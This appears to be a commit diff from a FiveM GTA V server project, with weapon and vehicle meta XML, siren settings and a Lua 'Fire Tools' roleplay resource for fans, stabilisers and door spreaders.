<AimOffsetMinFPSLT x="0.180000" y="0.231000" z="0.669000"/>
<AimOffsetMaxFPSLT x="0.048000" y="-0.225000" z="0.409000"/>
<AimOffsetMinFPSRNG x="0.120000" y="0.275000" z="0.509000"/>
<AimOffsetMaxFPSRNG x="0.138000" y="-0.212000" z="0.518000"/>
<AimOffsetMinFPSScope x="0.090000" y="0.078000" z="0.531000"/>
<AimOffsetMaxFPSScope x="0.006000" y="-0.059000" z="0.694000"/>
<TorsoAimOffset x="0.000000" y="0.000000"/>
<TorsoCrouchedAimOffset x="0.000000" y="0.000000"/>
<LeftHandIkOffset x="0.000000" y="0.000000" z="0.000000"/>
<ReticuleMinSizeStanding value="1.000000"/>
<ReticuleMinSizeCrouched value="1.000000"/>
<ReticuleScale value="1.000000"/>
<ReticuleStyleHash/>
<FirstPersonReticuleStyleHash/>
<PickupHash>PICKUP_WEAPON_GOLFCLUB</PickupHash>
<MPPickupHash/>
<HumanNameHash>WEAPON_FIREAXE</HumanNameHash>
<MovementModeConditionalIdle/>
<StatName>GCLUB</StatName>
<KnockdownCount value="-1"/>
<KillshotImpulseScale value="1.000000"/>
<NmShotTuningSet>Normal</NmShotTuningSet>
<AttachPoints/>
<GunFeedBone/>
<TargetSequenceGroup/>
<WeaponFlags>AllowMeleeBlock CarriedInHand ArmourPenetrating CanLockonOnFoot CanLockonInVehicle TwoHanded MeleeClub UsableOnFoot UsableClimbing DoesRevivableDamage AllowCloseQuarterKills NoWheelStats UseFPSAimIK UseFPSSecondaryMotion</WeaponFlags>
<TintSpecValues ref="TINT_DEFAULT"/>
<FiringPatternAliases ref="NULL"/>
<ReloadUpperBodyFixupExpressionData ref="default"/>
<AmmoDiminishingRate value="0"/>
<AimingBreathingAdditiveWeight value="1.000000"/>
<FiringBreathingAdditiveWeight value="1.000000"/>
<StealthAimingBreathingAdditiveWeight value="0.000000"/>
<StealthFiringBreathingAdditiveWeight value="0.000000"/>
<AimingLeanAdditiveWeight value="1.000000"/>
<FiringLeanAdditiveWeight value="1.000000"/>
<StealthAimingLeanAdditiveWeight value="0.000000"/>
<StealthFiringLeanAdditiveWeight value="0.000000"/>
<ExpandPedCapsuleRadius value="0.000000"/>
<AudioCollisionHash/>
<HudDamage value="20"/>
<HudSpeed value="10"/>
<HudCapacity value="0"/>
<HudAccuracy value="0"/>
<HudRange value="0"/>
</Item>
</Infos>
</Item>
</Infos>
<Name>Melee</Name>
</CWeaponInfoBlob>
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+97
View File
@@ -0,0 +1,97 @@
TriggerEvent('chat:addSuggestion', '/'..main.fanCommand, translations.fanSuggestion, {
{ name="setup/remove", help=translations.fanHelp },
})
TriggerEvent('chat:addSuggestion', '/'..main.stabilisersCommand, translations.stabilisersSuggestion, {
{ name="setup/remove", help=translations.stabilisersHelp },
})
TriggerEvent('chat:addSuggestion', '/'..main.spreadersCommand, translations.spreadersSuggestion)
RegisterNetEvent('Client:rtcNotification')
AddEventHandler('Client:rtcNotification', function(message)
showNotification(message)
end)
function showNotification(message)
message = message.."."
SetNotificationTextEntry("STRING")
AddTextComponentString(message)
DrawNotification(0,1)
end
function raycast()
local ped = PlayerPedId()
local location = GetEntityCoords(ped)
local offSet = GetOffsetFromEntityInWorldCoords(ped, 0.0, 8.0, 0.0)
local shapeTest = StartShapeTestCapsule(location.x, location.y, location.z, offSet.x, offSet.y, offSet.z, 10.0, 2, ped, 0)
--local shapeTest = StartShapeTestRay(location.x, location.y, location.z, offSet.x, offSet.y, offSet.z, 2, ped, 0);
local retval, hit, endCoords, surfaceNormal, entityHit = GetShapeTestResult(shapeTest)
return entityHit
end
function tableHas(table, key)
for k, v in pairs(table) do
if k == key and v ~= nil then
return true
end
end
return false
end
local fanSoundActive = false
local fanId = 0
local fans = {}
Citizen.CreateThread(function()
while true do
local ped = PlayerPedId()
local coords = GetEntityCoords(ped)
if fanSoundActive then
if fans[fanId] ~= nil and fans[fanId][2] ~= nil then
local distance = #(coords - fans[fanId][2])
if distance > main.fanSoundDistance then
fanSoundActive = false
else
SendNUIMessage({
submissionType = 'rtcSounds',
submissionFile = 'fan',
submissionVolume = main.fanSoundVolume
})
Wait(10000)
end
end
else
for k, v in pairs(fans) do
local distance = #(coords - fans[k][2])
if distance < main.fanSoundDistance then
fanSoundActive = true
fanId = k
SendNUIMessage({
submissionType = 'rtcSounds',
submissionFile = 'fan',
submissionVolume = main.fanSoundVolume
})
Wait(10000)
end
end
end
Wait(2000)
end
end)
AddEventHandler('Client:receiveFanTable', function(table)
fans = table
end)
AddEventHandler('Client:updateFansTable', function(key, entry, remove)
if remove then
fans[key] = nil
return
end
fans[key] = entry
end)
function toFloat(integer)
return integer + 0.0
end
+46
View File
@@ -0,0 +1,46 @@
main = {
fanCommand = "fan",
stabilisersCommand = "stabilisers",
spreadersCommand = "spreaders",
stabilisersModel = `prop_stabilisers`,
fanModel = `prop_fan_fire`, -- prop_fan_fire
spreadersModel = `prop_spreaders`,
smokeRemovalRadius = 50.0,
animDict = "weapons@heavy@minigun",
animName = "idle_2_aim_right_med",
boneId = 57005,
delaySmokeRemoval = 20, -- delay smoke removal by 20 seconds
fanSoundDistance = 30.0,
spreadersSoundDistance = 25.0,
spreadersSoundVolume = 0.2,
fanSoundVolume = 0.2,
commandFan = "fan",
acePermissionsEnabled = false,
offSet = {1.0, 0.4, 0.7},
rotation = {0.0, 220.0, 200.0},
}
translations = {
fanSuggestion = "Setup and use an extractor fan",
fanHelp = "Setup or remove an extractor fan",
stabilisersSuggestion = "Use stabilisers on the nearest vehicle",
stabilisersHelp = "Setup or remove stabilisers on the nearest vehicle",
spreadersSuggestion = "Get out and use hydraulic spreaders",
fanRemoved = "~g~Success~w~: Fan removed",
noFanFound = "~r~Error~w~: No fan found",
fanSetup = "~g~Success~w~: Fan setup",
noVehicleFound = "~r~Error~w~: No vehicle found",
noStabilisersFound = "~r~Error~w~: No stabilisers found",
outsideVehicle = "~r~Error~w~: You must not be inside a vehicle",
stabilisersRemoved = "~g~Success~w~: Stabilisers removed",
stabilisersSetupAlready = "~r~Error~w~: Stabilisers are already setup on this vehicle",
vehicleNotFound = "Vehicle ~r~not found",
vehicleDoorFound = "Vehicle ~g~door found",
vehicleFound = "Vehicle ~b~found",
setup = "setup",
remove = "remove",
stabilisersError = "~r~Error~w~: Use /stabilisers setup or /stabilisers remove",
fanError = "~r~Error~w~: Use /fan setup or /fan remove",
spreadersUsage = "Press ~b~ENTER ~w~to open or ~b~SPACE~w~ to break the vehicle door",
stabilisersSetup = "~g~Success~w~: Stabilisers setup",
}
+38
View File
@@ -0,0 +1,38 @@
fx_version 'bodacious'
games { 'gta5' }
author 'London Studios'
description 'Fire Tools resource'
version '1.0.0'
lua54 'yes'
client_scripts {
'cl_utils.lua',
'cl_firetools.lua',
}
server_scripts {
'sv_firetools.lua',
}
escrow_ignore {
'config.lua',
'sv_firetools.lua',
'stream/**',
'sounds/**',
'index.html',
'cl_utils.lua',
}
shared_script 'config.lua'
files {
'index.html',
'sounds/spreader.ogg',
'sounds/fan.ogg',
'stream/firetools.ytyp',
}
ui_page 'index.html'
data_file 'DLC_ITYP_REQUEST' 'stream/firetools.ytyp'
+21
View File
@@ -0,0 +1,21 @@
<html>
<head>
<script src="nui://game/ui/jquery.js" type="text/javascript"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/howler/2.1.1/howler.min.js" type="text/javascript"></script>
<script>
var audioPlayer = null;
window.addEventListener('message', function(event) {
if (event.data.submissionType == "rtcSounds") {
if (audioPlayer != null) {
audioPlayer.pause();
}
audioPlayer = new Howl({src: ["./sounds/" + event.data.submissionFile + ".ogg"]});
audioPlayer.volume(event.data.submissionVolume);
audioPlayer.play();
}
});
</script>
</head>
</html>
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@@ -675,20 +675,20 @@ data_file 'CARCOLS_FILE' 'data/c3hs53pd/carcols.meta'
data_file 'VEHICLE_VARIATION_FILE' 'data/c3hs53pd/carvariations.meta'
data_file 'VEHICLE_LAYOUTS_FILE' 'data/c3hs53pd/dlctext.meta'
-- c3prfpis
-- c34runner
files {
'data/c3prfpis/vehicles.meta',
'data/c3prfpis/carvariations.meta',
'data/c3prfpis/carcols.meta',
'data/c3prfpis/handling.meta',
'data/c3prfpis/vehiclelayouts.meta',
'data/c34runner/vehicles.meta',
'data/c34runner/carvariations.meta',
'data/c34runner/carcols.meta',
'data/c34runner/handling.meta',
'data/c34runner/vehiclelayouts.meta',
}
data_file 'HANDLING_FILE' 'data/c3prfpis/handling.meta'
data_file 'VEHICLE_METADATA_FILE' 'data/c3prfpis/vehicles.meta'
data_file 'CARCOLS_FILE' 'data/c3prfpis/carcols.meta'
data_file 'VEHICLE_VARIATION_FILE' 'data/c3prfpis/carvariations.meta'
data_file 'VEHICLE_LAYOUTS_FILE' 'data/c3prfpis/dlctext.meta'
data_file 'HANDLING_FILE' 'data/c34runner/handling.meta'
data_file 'VEHICLE_METADATA_FILE' 'data/c34runner/vehicles.meta'
data_file 'CARCOLS_FILE' 'data/c34runner/carcols.meta'
data_file 'VEHICLE_VARIATION_FILE' 'data/c34runner/carvariations.meta'
data_file 'VEHICLE_LAYOUTS_FILE' 'data/c34runner/dlctext.meta'
-- c3brz
files {
@@ -1,779 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<CVehicleModelInfoVarGlobal>
<Sirens>
<Item>
<id value="229"/>
<name>c3prfpis</name>
<timeMultiplier value="1.00000000"/>
<lightFalloffMax value="90.00000000"/>
<lightFalloffExponent value="10.00000000"/>
<lightInnerConeAngle value="2.29061000"/>
<lightOuterConeAngle value="70.00000000"/>
<lightOffset value="0.00000000"/>
<textureName>VehicleLight_sirenlight</textureName>
<sequencerBpm value="750"/>
<leftHeadLight>
<sequencer value=""/>
</leftHeadLight>
<rightHeadLight>
<sequencer value=""/>
</rightHeadLight>
<leftTailLight>
<sequencer value=""/>
</leftTailLight>
<rightTailLight>
<sequencer value=""/>
</rightTailLight>
<leftHeadLightMultiples value="1"/>
<rightHeadLightMultiples value="1"/>
<leftTailLightMultiples value="2"/>
<rightTailLightMultiples value="2"/>
<useRealLights value="true"/>
<sirens>
<Item>
<!--siren1-->
<rotation>
<delta value="0.00000000"/>
<start value="0.00000000"/>
<speed value="3.00000000"/>
<sequencer value="2694890248"/>
<multiples value="1"/>
<direction value="false"/>
<syncToBpm value="true"/>
</rotation>
<flashiness>
<delta value="0.00000000"/>
<start value="0.00000000"/>
<speed value="28.68000000"/>
<sequencer value="2694890248"/>
<multiples value="2"/>
<direction value="true"/>
<syncToBpm value="true"/>
</flashiness>
<corona>
<intensity value="50.00000000"/>
<size value="0.00000000"/>
<pull value="0.20000000"/>
<faceCamera value="false"/>
</corona>
<color value="0xFFFF0000"/>
<intensity value="0.50000000"/>
<lightGroup value="1"/>
<rotate value="false"/>
<scale value="true"/>
<scaleFactor value="10"/>
<flash value="true"/>
<light value="true"/>
<spotLight value="true"/>
<castShadows value="false"/>
</Item>
<Item>
<!--siren2-->
<rotation>
<delta value="0.00000000"/>
<start value="0.00000000"/>
<speed value="3.00000000"/>
<sequencer value="168433762"/>
<multiples value="1"/>
<direction value="false"/>
<syncToBpm value="true"/>
</rotation>
<flashiness>
<delta value="0.00000000"/>
<start value="0.00000000"/>
<speed value="28.68000000"/>
<sequencer value="168433762"/>
<multiples value="2"/>
<direction value="true"/>
<syncToBpm value="true"/>
</flashiness>
<corona>
<intensity value="50.00000000"/>
<size value="0.00000000"/>
<pull value="0.20000000"/>
<faceCamera value="false"/>
</corona>
<color value="0xFFFFFFFF"/>
<intensity value="0.50000000"/>
<lightGroup value="1"/>
<rotate value="false"/>
<scale value="true"/>
<scaleFactor value="10"/>
<flash value="true"/>
<light value="true"/>
<spotLight value="true"/>
<castShadows value="false"/>
</Item>
<Item>
<!--siren3-->
<rotation>
<delta value="0.00000000"/>
<start value="0.00000000"/>
<speed value="3.00000000"/>
<sequencer value="2694890248"/>
<multiples value="1"/>
<direction value="true"/>
<syncToBpm value="true"/>
</rotation>
<flashiness>
<delta value="0.00000000"/>
<start value="0.00000000"/>
<speed value="28.68000000"/>
<sequencer value="2694890248"/>
<multiples value="2"/>
<direction value="true"/>
<syncToBpm value="true"/>
</flashiness>
<corona>
<intensity value="50.00000000"/>
<size value="0.00000000"/>
<pull value="3.14159265"/>
<faceCamera value="false"/>
</corona>
<color value="0xFFFFFFFF"/>
<intensity value="0.50000000"/>
<lightGroup value="1"/>
<rotate value="false"/>
<scale value="true"/>
<scaleFactor value="10"/>
<flash value="true"/>
<light value="true"/>
<spotLight value="true"/>
<castShadows value="false"/>
</Item>
<Item>
<!--siren4-->
<rotation>
<delta value="0.00000000"/>
<start value="0.00000000"/>
<speed value="3.00000000"/>
<sequencer value="168433762"/>
<multiples value="1"/>
<direction value="true"/>
<syncToBpm value="true"/>
</rotation>
<flashiness>
<delta value="0.00000000"/>
<start value="0.00000000"/>
<speed value="28.68000000"/>
<sequencer value="168433762"/>
<multiples value="2"/>
<direction value="true"/>
<syncToBpm value="true"/>
</flashiness>
<corona>
<intensity value="50.00000000"/>
<size value="0.00000000"/>
<pull value="3.14159265"/>
<faceCamera value="false"/>
</corona>
<color value="0xFF0000FF"/>
<intensity value="0.50000000"/>
<lightGroup value="1"/>
<rotate value="false"/>
<scale value="true"/>
<scaleFactor value="10"/>
<flash value="true"/>
<light value="true"/>
<spotLight value="true"/>
<castShadows value="false"/>
</Item>
<Item>
<!--siren5-->
<rotation>
<delta value="0.00000000"/>
<start value="0.00000000"/>
<speed value="3.00000000"/>
<sequencer value="2819261098"/>
<multiples value="1"/>
<direction value="true"/>
<syncToBpm value="true"/>
</rotation>
<flashiness>
<delta value="0.00000000"/>
<start value="0.00000000"/>
<speed value="28.68000000"/>
<sequencer value="2819261098"/>
<multiples value="2"/>
<direction value="true"/>
<syncToBpm value="true"/>
</flashiness>
<corona>
<intensity value="50.00000000"/>
<size value="0.00000000"/>
<pull value="3.14159265"/>
<faceCamera value="false"/>
</corona>
<color value="0xFF0000FF"/>
<intensity value="0.50000000"/>
<lightGroup value="1"/>
<rotate value="false"/>
<scale value="true"/>
<scaleFactor value="10"/>
<flash value="true"/>
<light value="true"/>
<spotLight value="true"/>
<castShadows value="false"/>
</Item>
<Item>
<!--siren6-->
<rotation>
<delta value="0.00000000"/>
<start value="0.00000000"/>
<speed value="3.00000000"/>
<sequencer value="44050474"/>
<multiples value="1"/>
<direction value="false"/>
<syncToBpm value="true"/>
</rotation>
<flashiness>
<delta value="0.00000000"/>
<start value="0.00000000"/>
<speed value="28.68000000"/>
<sequencer value="44050474"/>
<multiples value="2"/>
<direction value="true"/>
<syncToBpm value="true"/>
</flashiness>
<corona>
<intensity value="50.00000000"/>
<size value="0.00000000"/>
<pull value="0.20000000"/>
<faceCamera value="false"/>
</corona>
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</CVehicleModelInfoVarGlobal>
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<?xml version="1.0" encoding="UTF-8"?>
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</CVehicleModelInfoVariation>
@@ -1,67 +0,0 @@
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<AIHandling>AVERAGE</AIHandling>
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<Item type="CCarHandlingData">
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<Item type="NULL" />
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</HandlingData>
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@@ -1,134 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
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<vehicleMakeName>c3prfpis</vehicleMakeName>
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<animConvRoofName>null</animConvRoofName>
<animConvRoofWindowsAffected />
<ptfxAssetName>null</ptfxAssetName>
<audioNameHash>ecoboostv6</audioNameHash>
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<coverBoundOffsets>POLICE3_COVER_OFFSET_INFO</coverBoundOffsets>
<explosionInfo>EXPLOSION_INFO_DEFAULT</explosionInfo>
<scenarioLayout />
<cameraName>DEFAULT_FOLLOW_VEHICLE_CAMERA</cameraName>
<aimCameraName>MID_BOX_VEHICLE_AIM_CAMERA</aimCameraName>
<bonnetCameraName>VEHICLE_BONNET_CAMERA_MID_NEAR</bonnetCameraName>
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<FirstPersonMobilePhoneSeatIKOffset>
<Item>
<Offset x="0.156000" y="0.223000" z="0.493000" />
<SeatIndex value="2" />
</Item>
<Item>
<Offset x="0.156000" y="0.223000" z="0.493000" />
<SeatIndex value="3" />
</Item>
</FirstPersonMobilePhoneSeatIKOffset>
<PovCameraOffset x="0.000000" y="-0.235000" z="0.635000" />
<PovCameraVerticalAdjustmentForRollCage value="0.000000" />
<PovPassengerCameraOffset x="0.000000" y="0.000000" z="0.030000" />
<PovRearPassengerCameraOffset x="0.000000" y="0.000000" z="0.070000" />
<vfxInfoName>VFXVEHICLEINFO_CAR_GENERIC</vfxInfoName>
<shouldUseCinematicViewMode value="true" />
<shouldCameraTransitionOnClimbUpDown value="false" />
<shouldCameraIgnoreExiting value="false" />
<AllowPretendOccupants value="true" />
<AllowJoyriding value="false" />
<AllowSundayDriving value="false" />
<AllowBodyColorMapping value="true" />
<wheelScale value="0.292300" />
<wheelScaleRear value="0.292300" />
<dirtLevelMin value="0.000000" />
<dirtLevelMax value="50.000000" />
<envEffScaleMin value="0.000000" />
<envEffScaleMax value="1.000000" />
<envEffScaleMin2 value="0.000000" />
<envEffScaleMax2 value="1.000000" />
<damageMapScale value="0.900000" />
<damageOffsetScale value="1.000000" />
<diffuseTint value="0x00FFFFFF" />
<steerWheelMult value="1.000000" />
<HDTextureDist value="5.000000" />
<lodDistances content="float_array">
500.000000
500.000000
500.000000
500.000000
500.000000
500.000000
</lodDistances>
<minSeatHeight value="0.966" />
<identicalModelSpawnDistance value="20" />
<maxNumOfSameColor value="10" />
<defaultBodyHealth value="1000.000000" />
<pretendOccupantsScale value="1.000000" />
<visibleSpawnDistScale value="1.000000" />
<trackerPathWidth value="2.000000" />
<weaponForceMult value="1.000000" />
<frequency value="100" />
<swankness>SWANKNESS_1</swankness>
<maxNum value="999" />
<flags>FLAG_HAS_LIVERY FLAG_HAS_INTERIOR_EXTRAS FLAG_HAS_EXTRAS FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_ALLOW_HATS_NO_ROOF</flags>
<type>VEHICLE_TYPE_CAR</type>
<plateType>VPT_FRONT_AND_BACK_PLATES</plateType>
<dashboardType>VDT_FEROCI</dashboardType>
<vehicleClass>VC_EMERGENCY</vehicleClass>
<wheelType>VWT_SUV</wheelType>
<trailers />
<additionalTrailers />
<drivers />
<extraIncludes />
<doorsWithCollisionWhenClosed />
<driveableDoors />
<bumpersNeedToCollideWithMap value="false" />
<needsRopeTexture value="false" />
<requiredExtras />
<rewards />
<cinematicPartCamera>
<Item>WHEEL_FRONT_RIGHT_CAMERA</Item>
<Item>WHEEL_FRONT_LEFT_CAMERA</Item>
<Item>WHEEL_REAR_RIGHT_CAMERA</Item>
<Item>WHEEL_REAR_LEFT_CAMERA</Item>
</cinematicPartCamera>
<NmBraceOverrideSet />
<buoyancySphereOffset x="0.000000" y="0.000000" z="0.000000" />
<buoyancySphereSizeScale value="1.000000" />
<pOverrideRagdollThreshold type="NULL" />
<firstPersonDrivebyData>
<Item>RANGER_CAVALCADE_FRONT_LEFT</Item>
<Item>RANGER_FRONT_RIGHT</Item>
<Item>RANGER_PRANGER_REAR_LEFT</Item>
<Item>RANGER_PRANGER_REAR_RIGHT</Item>
</firstPersonDrivebyData>
</Item>
</InitDatas>
<txdRelationships>
<Item>
<parent>vehicles_banshee_interior</parent>
<child>c3prfpis</child>
</Item>
</txdRelationships>
</CVehicleModelInfo__InitDataList>
@@ -0,0 +1,2 @@
resource_manifest_version '44febabe-d386-4d18-afbe-5e627f4af937'
this_is_a_map 'yes'
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